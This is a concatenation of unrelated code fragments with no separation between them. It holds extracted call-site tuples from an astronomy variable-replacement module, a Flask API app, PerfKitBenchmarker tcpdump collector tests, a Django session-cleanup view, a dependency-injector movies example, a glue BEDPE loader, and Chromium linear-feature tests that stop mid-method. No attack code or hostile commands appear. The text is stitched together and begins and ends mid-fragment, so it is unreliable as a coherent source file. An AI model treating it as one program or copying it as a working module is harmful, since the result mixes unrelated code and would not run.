'import despymisc.miscutils as miscutils\n'), ((9442, 9499), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (['("\\tinitial instr = \'%s\'" % instr)'], {}), '("\\tinitial instr = \'%s\'" % instr)\n', (9465, 9499), True, 'import despymisc.miscutils as miscutils\n'), ((9571, 9626), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (['("\\tinitial opts = \'%s\'" % opts)'], {}), '("\\tinitial opts = \'%s\'" % opts)\n', (9594, 9626), True, 'import despymisc.miscutils as miscutils\n'), ((11354, 11409), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tvaluedone = %s' % valuedone)"], {}), "('\\tvaluedone = %s' % valuedone)\n", (11377, 11409), True, 'import despymisc.miscutils as miscutils\n'), ((11418, 11471), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tkeepdone = %s' % keepdone)"], {}), "('\\tkeepdone = %s' % keepdone)\n", (11441, 11471), True, 'import despymisc.miscutils as miscutils\n'), ((11547, 11594), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tinstr = %s' % instr)"], {}), "('\\tinstr = %s' % instr)\n", (11570, 11594), True, 'import despymisc.miscutils as miscutils\n'), ((11904, 11934), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (['"""END"""'], {}), "('END')\n", (11927, 11934), True, 'import despymisc.miscutils as miscutils\n'), ((658, 747), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (['"""Error: Multiple results when calling replace_vars_single"""'], {}), "(\n 'Error: Multiple results when calling replace_vars_single')\n", (681, 747), True, 'import despymisc.miscutils as miscutils\n'), ((755, 802), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tinstr = %s' % instr)"], {}), "('\\tinstr = %s' % instr)\n", (778, 802), True, 'import despymisc.miscutils as miscutils\n'), ((815, 864), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tvalues = %s' % values)"], {}), "('\\tvalues = %s' % values)\n", (838, 864), True, 'import despymisc.miscutils as miscutils\n'), ((1789, 1839), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\t newstr: %s ' % newstr)"], {}), "('\\t newstr: %s ' % newstr)\n", (1812, 1839), True, 'import despymisc.miscutils as miscutils\n'), ((1854, 1898), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\t var: %s ' % var)"], {}), "('\\t var: %s ' % var)\n", (1877, 1898), True, 'import despymisc.miscutils as miscutils\n'), ((1913, 1961), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\t parts: %s ' % parts)"], {}), "('\\t parts: %s ' % parts)\n", (1936, 1961), True, 'import despymisc.miscutils as miscutils\n'), ((1976, 2026), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\t newvar: %s ' % newvar)"], {}), "('\\t newvar: %s ' % newvar)\n", (1999, 2026), True, 'import despymisc.miscutils as miscutils\n'), ((2109, 2149), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(0)', '"""REPL_DEBUG"""'], {}), "(0, 'REPL_DEBUG')\n", (2132, 2149), True, 'import despymisc.miscutils as miscutils\n'), ((2265, 2295), 'despymisc.miscutils.fwsplit', 'miscutils.fwsplit', (['newvar', '""","""'], {}), "(newvar, ',')\n", (2282, 2295), True, 'import despymisc.miscutils as miscutils\n'), ((2342, 2382), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(0)', '"""REPL_DEBUG"""'], {}), "(0, 'REPL_DEBUG')\n", (2365, 2382), True, 'import despymisc.miscutils as miscutils\n'), ((2486, 2514), 'astropy.io.fits.open', 'fits.open', (['fname', '"""readonly"""'], {}), "(fname, 'readonly')\n", (2495, 2514), False, 'from astropy.io import fits\n'), ((2809, 2858), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tnewval: %s ' % newval)"], {}), "('\\tnewval: %s ' % newval)\n", (2832, 2858), True, 'import despymisc.miscutils as miscutils\n'), ((3792, 3842), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\t newvar: %s ' % newvar)"], {}), "('\\t newvar: %s ' % newvar)\n", (3815, 3842), True, 'import despymisc.miscutils as miscutils\n'), ((3857, 3907), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\t haskey: %s ' % haskey)"], {}), "('\\t haskey: %s ' % haskey)\n", (3880, 3907), True, 'import despymisc.miscutils as miscutils\n'), ((3922, 3972), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\t newval: %s ' % newval)"], {}), "('\\t newval: %s ' % newval)\n", (3945, 3972), True, 'import despymisc.miscutils as miscutils\n'), ((5392, 5446), 're.sub', 're.sub', (["('(?i)\\\\$%s{%s}' % (stype, var))", 'newval', 'newstr'], {}), "('(?i)\\\\$%s{%s}' % (stype, var), newval, newstr)\n", (5398, 5446), False, 'import re\n'), ((6263, 6328), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('looptodo: valpair[0] = %s' % valpair[0])"], {}), "('looptodo: valpair[0] = %s' % valpair[0])\n", (6286, 6328), True, 'import despymisc.miscutils as miscutils\n'), ((6557, 6618), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tloop search: newvar= %s' % newvar)"], {}), "('\\tloop search: newvar= %s' % newvar)\n", (6580, 6618), True, 'import despymisc.miscutils as miscutils\n'), ((6631, 6688), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tloop search: opts= %s' % opts)"], {}), "('\\tloop search: opts= %s' % opts)\n", (6654, 6688), True, 'import despymisc.miscutils as miscutils\n'), ((6782, 6822), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(6)', '"""REPL_DEBUG"""'], {}), "(6, 'REPL_DEBUG')\n", (6805, 6822), True, 'import despymisc.miscutils as miscutils\n'), ((6935, 6960), 'despymisc.miscutils.fwsplit', 'miscutils.fwsplit', (['newval'], {}), '(newval)\n', (6952, 6960), True, 'import despymisc.miscutils as miscutils\n'), ((2167, 2239), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tfound HEAD variable to expand: %s ' % newvar)"], {}), "('\\tfound HEAD variable to expand: %s ' % newvar)\n", (2190, 2239), True, 'import despymisc.miscutils as miscutils\n'), ((2400, 2461), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tHEAD variable fname: %s ' % fname)"], {}), "('\\tHEAD variable fname: %s ' % fname)\n", (2423, 2461), True, 'import despymisc.miscutils as miscutils\n'), ((2594, 2634), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(0)', '"""REPL_DEBUG"""'], {}), "(0, 'REPL_DEBUG')\n", (2617, 2634), True, 'import despymisc.miscutils as miscutils\n'), ((2998, 3038), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(0)', '"""REPL_DEBUG"""'], {}), "(0, 'REPL_DEBUG')\n", (3021, 3038), True, 'import despymisc.miscutils as miscutils\n'), ((3154, 3184), 'despymisc.miscutils.fwsplit', 'miscutils.fwsplit', (['newvar', '""","""'], {}), "(newvar, ',')\n", (3171, 3184), True, 'import despymisc.miscutils as miscutils\n'), ((3234, 3274), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(0)', '"""REPL_DEBUG"""'], {}), "(0, 'REPL_DEBUG')\n", (3257, 3274), True, 'import despymisc.miscutils as miscutils\n'), ((3370, 3412), 'despymisc.miscutils.dynamically_load_class', 'miscutils.dynamically_load_class', (['funcinfo'], {}), '(funcinfo)\n', (3402, 3412), True, 'import despymisc.miscutils as miscutils\n'), ((4174, 4214), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(6)', '"""REPL_DEBUG"""'], {}), "(6, 'REPL_DEBUG')\n", (4197, 4214), True, 'import despymisc.miscutils as miscutils\n'), ((4567, 4607), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(6)', '"""REPL_DEBUG"""'], {}), "(6, 'REPL_DEBUG')\n", (4590, 4607), True, 'import despymisc.miscutils as miscutils\n'), ((5670, 5720), 're.sub', 're.sub', (["('(?i)\\\\$%s{%s}' % (stype, var))", '""""""', 'newstr'], {}), "('(?i)\\\\$%s{%s}' % (stype, var), '', newstr)\n", (5676, 5720), False, 'import re\n'), ((6840, 6909), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tloop search results: newva1= %s' % newval)"], {}), "('\\tloop search results: newva1= %s' % newval)\n", (6863, 6909), True, 'import despymisc.miscutils as miscutils\n'), ((7015, 7055), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(6)', '"""REPL_DEBUG"""'], {}), "(6, 'REPL_DEBUG')\n", (7038, 7055), True, 'import despymisc.miscutils as miscutils\n'), ((7759, 7799), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(6)', '"""REPL_DEBUG"""'], {}), "(6, 'REPL_DEBUG')\n", (7782, 7799), True, 'import despymisc.miscutils as miscutils\n'), ((7994, 8047), 're.sub', 're.sub', (["('(?i)\\\\$LOOP\\\\{%s\\\\}' % var)", 'nval', 'valpair[0]'], {}), "('(?i)\\\\$LOOP\\\\{%s\\\\}' % var, nval, valpair[0])\n", (8000, 8047), False, 'import re\n'), ((8069, 8094), 'copy.deepcopy', 'copy.deepcopy', (['valpair[1]'], {}), '(valpair[1])\n', (8082, 8094), False, 'import copy\n'), ((8150, 8190), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(6)', '"""REPL_DEBUG"""'], {}), "(6, 'REPL_DEBUG')\n", (8173, 8190), True, 'import despymisc.miscutils as miscutils\n'), ((2656, 2720), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tHEAD variable header key: %s ' % key)"], {}), "('\\tHEAD variable header key: %s ' % key)\n", (2679, 2720), True, 'import despymisc.miscutils as miscutils\n'), ((3056, 3128), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tfound FUNC variable to expand: %s ' % newvar)"], {}), "('\\tfound FUNC variable to expand: %s ' % newvar)\n", (3079, 3128), True, 'import despymisc.miscutils as miscutils\n'), ((3292, 3346), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tFUNC info: %s ' % funcinfo)"], {}), "('\\tFUNC info: %s ' % funcinfo)\n", (3315, 3346), True, 'import despymisc.miscutils as miscutils\n'), ((4236, 4298), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tfound val to expand: %s ' % newval)"], {}), "('\\tfound val to expand: %s ' % newval)\n", (4259, 4298), True, 'import despymisc.miscutils as miscutils\n'), ((4321, 4386), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tfound val to expand: opts=%s ' % opts)"], {}), "('\\tfound val to expand: opts=%s ' % opts)\n", (4344, 4386), True, 'import despymisc.miscutils as miscutils\n'), ((4629, 4684), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tLOOP? newval = %s' % newval)"], {}), "('\\tLOOP? newval = %s' % newval)\n", (4652, 4684), True, 'import despymisc.miscutils as miscutils\n'), ((7077, 7129), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tloop nv: nval=%s' % nval)"], {}), "('\\tloop nv: nval=%s' % nval)\n", (7100, 7129), True, 'import despymisc.miscutils as miscutils\n'), ((7821, 7874), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tloop nv2: nval=%s' % nval)"], {}), "('\\tloop nv2: nval=%s' % nval)\n", (7844, 7874), True, 'import despymisc.miscutils as miscutils\n'), ((7895, 7967), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tbefore loop sub: valpair[0]=%s' % valpair[0])"], {}), "('\\tbefore loop sub: valpair[0]=%s' % valpair[0])\n", (7918, 7967), True, 'import despymisc.miscutils as miscutils\n'), ((8212, 8275), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tafter loop sub: valsub=%s' % valsub)"], {}), "('\\tafter loop sub: valsub=%s' % valsub)\n", (8235, 8275), True, 'import despymisc.miscutils as miscutils\n'), ((8338, 8378), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(6)', '"""REPL_DEBUG"""'], {}), "(6, 'REPL_DEBUG')\n", (8361, 8378), True, 'import despymisc.miscutils as miscutils\n'), ((8645, 8685), 'despymisc.miscutils.fwdebug_check', 'miscutils.fwdebug_check', (['(6)', '"""REPL_DEBUG"""'], {}), "(6, 'REPL_DEBUG')\n", (8668, 8685), True, 'import despymisc.miscutils as miscutils\n'), ((2757, 2794), 'despyfitsutils.fitsutils.get_hdr_value', 'fitsutils.get_hdr_value', (['hdulist', 'key'], {}), '(hdulist, key)\n', (2780, 2794), True, 'import despyfitsutils.fitsutils as fitsutils\n'), ((8404, 8460), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (['"""\t\tputting back in todo list"""'], {}), "('\\t\\tputting back in todo list')\n", (8427, 8460), True, 'import despymisc.miscutils as miscutils\n'), ((8711, 8767), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (['"""\t\tputting back in done list"""'], {}), "('\\t\\tputting back in done list')\n", (8734, 8767), True, 'import despymisc.miscutils as miscutils\n'), ((5100, 5147), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tprpat = %s' % prpat)"], {}), "('\\tprpat = %s' % prpat)\n", (5123, 5147), True, 'import despymisc.miscutils as miscutils\n'), ((5168, 5217), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tnewval = %s' % newval)"], {}), "('\\tnewval = %s' % newval)\n", (5191, 5217), True, 'import despymisc.miscutils as miscutils\n'), ((5238, 5283), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\topts = %s' % opts)"], {}), "('\\topts = %s' % opts)\n", (5261, 5283), True, 'import despymisc.miscutils as miscutils\n'), ((7517, 7564), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tprpat = %s' % prpat)"], {}), "('\\tprpat = %s' % prpat)\n", (7540, 7564), True, 'import despymisc.miscutils as miscutils\n'), ((7589, 7634), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\tnval = %s' % nval)"], {}), "('\\tnval = %s' % nval)\n", (7612, 7634), True, 'import despymisc.miscutils as miscutils\n'), ((7659, 7704), 'despymisc.miscutils.fwdebug_print', 'miscutils.fwdebug_print', (["('\\topts = %s' % opts)"], {}), "('\\topts = %s' % opts)\n", (7682, 7704), True, 'import despymisc.miscutils as miscutils\n')] |
"""
python app/app.py -> http://0.0.0.0:8080/
"""
from app.models.database import db, ma
from flask_session import Session
from flask_api import FlaskAPI, status
from flask_assets import Environment
from flask_cors import CORS
from flask import jsonify
import logging
import time
from routes.main_db import main_db_bp
from routes.secondary_db import secondary_db_bp
app = FlaskAPI(__name__)
app.logger.setLevel(logging.INFO)
CORS(app, resources=r'/api/*', supports_credentials=True)
app.config.from_object('config')
Environment(app)
db.init_app(app)
ma.init_app(app)
Session(app)
app.register_blueprint(main_db_bp)
app.register_blueprint(secondary_db_bp)
# Server status
@app.route("/")
def server_status():
# Across config.py, app.py, ../setup.py
return jsonify({'status': 'ONLINE', 'version': '0.1'}), status.HTTP_200_OK
# For timeout testing
@app.route("/timeout_test/<seconds>")
def timeout_test(seconds):
time.sleep(int(seconds))
return jsonify({'timeout_test': f'{seconds} seconds'}), status.HTTP_200_OK
# Error handling routes (Can't use blueprints)
@app.errorhandler(400)
def bad_request(_):
return jsonify({'error': 'Bad request'}), status.HTTP_400_BAD_REQUEST
@app.errorhandler(404)
def not_found(_):
return jsonify({'error': 'Not found'}), status.HTTP_404_NOT_FOUND
@app.errorhandler(405)
def not_allowed(_):
return jsonify({'error': 'Method not allowed'}), status.HTTP_405_METHOD_NOT_ALLOWED
if __name__ == "__main__":
app.run(debug=False, host='0.0.0.0', port=8080)
| [
"flask_cors.CORS",
"flask.jsonify",
"flask_session.Session",
"flask_api.FlaskAPI",
"app.models.database.db.init_app",
"flask_assets.Environment",
"app.models.database.ma.init_app"
] | [((375, 393), 'flask_api.FlaskAPI', 'FlaskAPI', (['__name__'], {}), '(__name__)\n', (383, 393), False, 'from flask_api import FlaskAPI, status\n'), ((429, 485), 'flask_cors.CORS', 'CORS', (['app'], {'resources': '"""/api/*"""', 'supports_credentials': '(True)'}), "(app, resources='/api/*', supports_credentials=True)\n", (433, 485), False, 'from flask_cors import CORS\n'), ((520, 536), 'flask_assets.Environment', 'Environment', (['app'], {}), '(app)\n', (531, 536), False, 'from flask_assets import Environment\n'), ((537, 553), 'app.models.database.db.init_app', 'db.init_app', (['app'], {}), '(app)\n', (548, 553), False, 'from app.models.database import db, ma\n'), ((554, 570), 'app.models.database.ma.init_app', 'ma.init_app', (['app'], {}), '(app)\n', (565, 570), False, 'from app.models.database import db, ma\n'), ((571, 583), 'flask_session.Session', 'Session', (['app'], {}), '(app)\n', (578, 583), False, 'from flask_session import Session\n'), ((770, 817), 'flask.jsonify', 'jsonify', (["{'status': 'ONLINE', 'version': '0.1'}"], {}), "({'status': 'ONLINE', 'version': '0.1'})\n", (777, 817), False, 'from flask import jsonify\n'), ((967, 1014), 'flask.jsonify', 'jsonify', (["{'timeout_test': f'{seconds} seconds'}"], {}), "({'timeout_test': f'{seconds} seconds'})\n", (974, 1014), False, 'from flask import jsonify\n'), ((1138, 1171), 'flask.jsonify', 'jsonify', (["{'error': 'Bad request'}"], {}), "({'error': 'Bad request'})\n", (1145, 1171), False, 'from flask import jsonify\n'), ((1255, 1286), 'flask.jsonify', 'jsonify', (["{'error': 'Not found'}"], {}), "({'error': 'Not found'})\n", (1262, 1286), False, 'from flask import jsonify\n'), ((1370, 1410), 'flask.jsonify', 'jsonify', (["{'error': 'Method not allowed'}"], {}), "({'error': 'Method not allowed'})\n", (1377, 1410), False, 'from flask import jsonify\n')] |
# Copyright 2020 PerfKitBenchmarker Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tests for tcpdump utility."""
import unittest
from absl import flags
from absl.testing import flagsaver
import mock
from tests import pkb_common_test_case
from perfkitbenchmarker.traces import tcpdump
FLAGS = flags.FLAGS
_OUTPUT_FILE = '/tmp/x.pcap'
# all vm.RemoteCommands to launch tcpdump look like this
_CMD_FORMAT = ('sudo tcpdump -n -w {output_file} {{command}} '
'> /dev/null 2>&1 & echo $!').format(output_file=_OUTPUT_FILE)
class TcpdumpTestCase(pkb_common_test_case.PkbCommonTestCase):
def setUp(self):
super(TcpdumpTestCase, self).setUp()
self.enter_context(mock.patch('os.path.isdir', return_value=True))
def assertRunLine(self, command):
expected_command = _CMD_FORMAT.format(command=command)
collector = tcpdump._CreateCollector(FLAGS)
actual_command = collector._CollectorRunCommand(None, _OUTPUT_FILE)
self.assertEqual(expected_command, actual_command)
def testDefaults(self):
self.assertRunLine(r'-s 96 not port \(22\)')
@flagsaver.flagsaver(tcpdump_snaplen=10)
def testSnaplen(self):
self.assertRunLine(r'-s 10 not port \(22\)')
@flagsaver.flagsaver(tcpdump_snaplen=0)
def testNoSnaplen(self):
self.assertRunLine(r'not port \(22\)')
@flagsaver.flagsaver(tcpdump_packet_count=12)
def testCount(self):
self.assertRunLine(r'-s 96 -c 12 not port \(22\)')
@flagsaver.flagsaver(tcpdump_ignore_ports=[53, 80])
def testIgnorePorts(self):
self.assertRunLine(r'-s 96 not port \(53 or 80\)')
@flagsaver.flagsaver(tcpdump_include_ports=[22, 443])
def testIncludePorts(self):
self.assertRunLine(r'-s 96 port \(22 or 443\)')
@flagsaver.flagsaver(tcpdump_ignore_ports=[])
def testIncludeAll(self):
self.assertRunLine(r'-s 96')
def testKillCommand(self):
collector = tcpdump._CreateCollector(FLAGS)
vm = mock.Mock()
vm.RemoteCommand.return_value = ('pid1234', '')
collector._StartOnVm(vm)
vm.RemoteCommand.reset_mock()
collector._StopOnVm(vm, 'roleA')
vm.RemoteCommand.assert_called_with(
'sudo kill -s INT pid1234; sleep 3', ignore_failure=True)
if __name__ == '__main__':
unittest.main()
| [
"mock.patch",
"mock.Mock",
"unittest.main",
"perfkitbenchmarker.traces.tcpdump._CreateCollector",
"absl.testing.flagsaver.flagsaver"
] | [((1613, 1652), 'absl.testing.flagsaver.flagsaver', 'flagsaver.flagsaver', ([], {'tcpdump_snaplen': '(10)'}), '(tcpdump_snaplen=10)\n', (1632, 1652), False, 'from absl.testing import flagsaver\n'), ((1731, 1769), 'absl.testing.flagsaver.flagsaver', 'flagsaver.flagsaver', ([], {'tcpdump_snaplen': '(0)'}), '(tcpdump_snaplen=0)\n', (1750, 1769), False, 'from absl.testing import flagsaver\n'), ((1844, 1888), 'absl.testing.flagsaver.flagsaver', 'flagsaver.flagsaver', ([], {'tcpdump_packet_count': '(12)'}), '(tcpdump_packet_count=12)\n', (1863, 1888), False, 'from absl.testing import flagsaver\n'), ((1971, 2021), 'absl.testing.flagsaver.flagsaver', 'flagsaver.flagsaver', ([], {'tcpdump_ignore_ports': '[53, 80]'}), '(tcpdump_ignore_ports=[53, 80])\n', (1990, 2021), False, 'from absl.testing import flagsaver\n'), ((2110, 2162), 'absl.testing.flagsaver.flagsaver', 'flagsaver.flagsaver', ([], {'tcpdump_include_ports': '[22, 443]'}), '(tcpdump_include_ports=[22, 443])\n', (2129, 2162), False, 'from absl.testing import flagsaver\n'), ((2249, 2293), 'absl.testing.flagsaver.flagsaver', 'flagsaver.flagsaver', ([], {'tcpdump_ignore_ports': '[]'}), '(tcpdump_ignore_ports=[])\n', (2268, 2293), False, 'from absl.testing import flagsaver\n'), ((2744, 2759), 'unittest.main', 'unittest.main', ([], {}), '()\n', (2757, 2759), False, 'import unittest\n'), ((1374, 1405), 'perfkitbenchmarker.traces.tcpdump._CreateCollector', 'tcpdump._CreateCollector', (['FLAGS'], {}), '(FLAGS)\n', (1398, 1405), False, 'from perfkitbenchmarker.traces import tcpdump\n'), ((2401, 2432), 'perfkitbenchmarker.traces.tcpdump._CreateCollector', 'tcpdump._CreateCollector', (['FLAGS'], {}), '(FLAGS)\n', (2425, 2432), False, 'from perfkitbenchmarker.traces import tcpdump\n'), ((2442, 2453), 'mock.Mock', 'mock.Mock', ([], {}), '()\n', (2451, 2453), False, 'import mock\n'), ((1214, 1260), 'mock.patch', 'mock.patch', (['"""os.path.isdir"""'], {'return_value': '(True)'}), "('os.path.isdir', return_value=True)\n", (1224, 1260), False, 'import mock\n')] |
from appengine_sessions.backends.db import SessionStore
from appengine_sessions.mapper import DeleteMapper
from appengine_sessions.models import Session
from datetime import datetime
from django.contrib.sessions.backends.base import SessionBase
from django.http import HttpResponse
from django.views.generic.base import View
class SessionCleanUpCron(View):
"""
View used by cron to clear sessions that have expired
"""
def get(self, request, *args, **kwargs):
mapper = DeleteMapper(Session, filters={
'lt': ('expire_date', datetime.utcnow())})
mapper.start()
return HttpResponse('Session cleaner mapper started')
| [
"django.http.HttpResponse",
"datetime.datetime.utcnow"
] | [((648, 694), 'django.http.HttpResponse', 'HttpResponse', (['"""Session cleaner mapper started"""'], {}), "('Session cleaner mapper started')\n", (660, 694), False, 'from django.http import HttpResponse\n'), ((580, 597), 'datetime.datetime.utcnow', 'datetime.utcnow', ([], {}), '()\n', (595, 597), False, 'from datetime import datetime\n')] |
"""A naive example of dependency injection on Python.
Example implementation of dependency injection in Python from Martin Fowler's
article about dependency injection and inversion of control:
http://www.martinfowler.com/articles/injection.html
This mini application uses ``movies`` library, that is configured to work with
csv file movies database.
"""
import movies
import movies.finders
import example.db
import example.main
import settings
import fixtures
import dependency_injector.containers as containers
import dependency_injector.providers as providers
@containers.override(movies.MoviesModule)
class MyMoviesModule(containers.DeclarativeContainer):
"""IoC container for overriding movies module component providers."""
finder = providers.Factory(movies.finders.CsvMovieFinder,
csv_file_path=settings.MOVIES_CSV_PATH,
delimiter=',',
**movies.MoviesModule.finder.kwargs)
class CsvApplication(containers.DeclarativeContainer):
"""IoC container of csv application component providers."""
main = providers.Callable(example.main.main,
movie_lister=movies.MoviesModule.lister)
init_db = providers.Callable(example.db.init_csv,
movies_data=fixtures.MOVIES_SAMPLE_DATA,
csv_file_path=settings.MOVIES_CSV_PATH,
delimiter=',')
if __name__ == '__main__':
CsvApplication.init_db()
CsvApplication.main()
| [
"dependency_injector.providers.Callable",
"dependency_injector.containers.override",
"dependency_injector.providers.Factory"
] | [((572, 612), 'dependency_injector.containers.override', 'containers.override', (['movies.MoviesModule'], {}), '(movies.MoviesModule)\n', (591, 612), True, 'import dependency_injector.containers as containers\n'), ((756, 901), 'dependency_injector.providers.Factory', 'providers.Factory', (['movies.finders.CsvMovieFinder'], {'csv_file_path': 'settings.MOVIES_CSV_PATH', 'delimiter': '""","""'}), "(movies.finders.CsvMovieFinder, csv_file_path=settings.\n MOVIES_CSV_PATH, delimiter=',', **movies.MoviesModule.finder.kwargs)\n", (773, 901), True, 'import dependency_injector.providers as providers\n'), ((1123, 1201), 'dependency_injector.providers.Callable', 'providers.Callable', (['example.main.main'], {'movie_lister': 'movies.MoviesModule.lister'}), '(example.main.main, movie_lister=movies.MoviesModule.lister)\n', (1141, 1201), True, 'import dependency_injector.providers as providers\n'), ((1247, 1387), 'dependency_injector.providers.Callable', 'providers.Callable', (['example.db.init_csv'], {'movies_data': 'fixtures.MOVIES_SAMPLE_DATA', 'csv_file_path': 'settings.MOVIES_CSV_PATH', 'delimiter': '""","""'}), "(example.db.init_csv, movies_data=fixtures.\n MOVIES_SAMPLE_DATA, csv_file_path=settings.MOVIES_CSV_PATH, delimiter=',')\n", (1265, 1387), True, 'import dependency_injector.providers as providers\n')] |
from glue.config import data_factory
from glue.core import Data
import pandas as pd
from pathlib import Path
from glue_genomics_viewers.data import BedPeData
__all__ = ['is_bedpe', 'read_bedpe']
def is_bedpe(filename, **kwargs):
return filename.endswith('.bedpe')
@data_factory('BEDPE data loader', is_bedpe, priority=999)
def read_bedpe(file_name):
"""
Read a bed paired-end file denoting linkages between regions
Most of the time these are large datasets we want to display
on the GenomeTrackViewer and so we load them as the custom
BedPeData type that knows how to handled tiled/multi-resolution
data. Although alternatively we could view them as simple
datasets that we might want to filter by strength.
"""
data = BedPeData(file_name)
data.engine.index() #This returns quickly if file is already indexed
return data | [
"glue_genomics_viewers.data.BedPeData",
"glue.config.data_factory"
] | [((275, 332), 'glue.config.data_factory', 'data_factory', (['"""BEDPE data loader"""', 'is_bedpe'], {'priority': '(999)'}), "('BEDPE data loader', is_bedpe, priority=999)\n", (287, 332), False, 'from glue.config import data_factory\n'), ((781, 801), 'glue_genomics_viewers.data.BedPeData', 'BedPeData', (['file_name'], {}), '(file_name)\n', (790, 801), False, 'from glue_genomics_viewers.data import BedPeData\n')] |
# Copyright 2016 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import copy
import unittest
from analysis.linear import feature
from analysis.linear.feature import ChangedFile
from analysis.linear.feature import MetaFeatureValue
from analysis.linear.linear_testcase import Feature0
from analysis.linear.linear_testcase import Feature1
from analysis.linear.linear_testcase import Feature2
from analysis.linear.linear_testcase import Feature3
from analysis.linear.linear_testcase import Feature4
from analysis.linear.linear_testcase import LinearTestCase
import libs.math.logarithms as lmath
from libs.meta_object import MetaDict
_MAXIMUM = 50.
class ChangelistFeatureTest(unittest.TestCase):
def testLinearlyScaledIsZero(self):
"""Test that ``LinearlyScaled`` takes 0 to 1."""
self.assertEqual(1., feature.LinearlyScaled(0., _MAXIMUM))
def testLinearlyScaledMiddling(self):
"""Test that ``LinearlyScaled`` takes middling values to middling values."""
self.assertEqual((_MAXIMUM - 42.) / _MAXIMUM,
feature.LinearlyScaled(42., _MAXIMUM))
def testLinearlyScaledIsOverMax(self):
"""Test that ``LinearlyScaled`` takes values over the max to 0."""
self.assertEqual(0., feature.LinearlyScaled(42., 10.))
def testLogLinearlyScaledIsZero(self):
"""Test that ``LogLinearlyScaled`` takes log(0) to log(1)."""
self.assertEqual(lmath.LOG_ONE, feature.LogLinearlyScaled(0., _MAXIMUM))
def testLogLinearlyScaledMiddling(self):
"""Test that ``LogLinearlyScaled`` works on middling values."""
self.assertEqual(
lmath.log((_MAXIMUM - 42.) / _MAXIMUM),
feature.LogLinearlyScaled(42., _MAXIMUM))
def testLogLinearlyScaledIsOverMax(self):
"""Test that ``LogLinearlyScaled`` takes values over the max to log(0)."""
self.assertEqual(lmath.LOG_ZERO, feature.LogLinearlyScaled(42., 10.))
class MetaFeatureValueTest(unittest.TestCase):
def setUp(self):
super(MetaFeatureValueTest, self).setUp()
self.feature = MetaFeatureValue(
'dummy', {feature.name: feature(3)(False)
for feature in [Feature0(), Feature1(), Feature3()]})
def testEqaul(self):
"""Tests overriding ``__eq__`` and ``__ne__``."""
copy_meta_feature = copy.deepcopy(self.feature)
self.assertTrue(self.feature == copy_meta_feature)
copy_meta_feature._name = 'dummy2'
self.assertTrue(self.feature != copy_meta_feature)
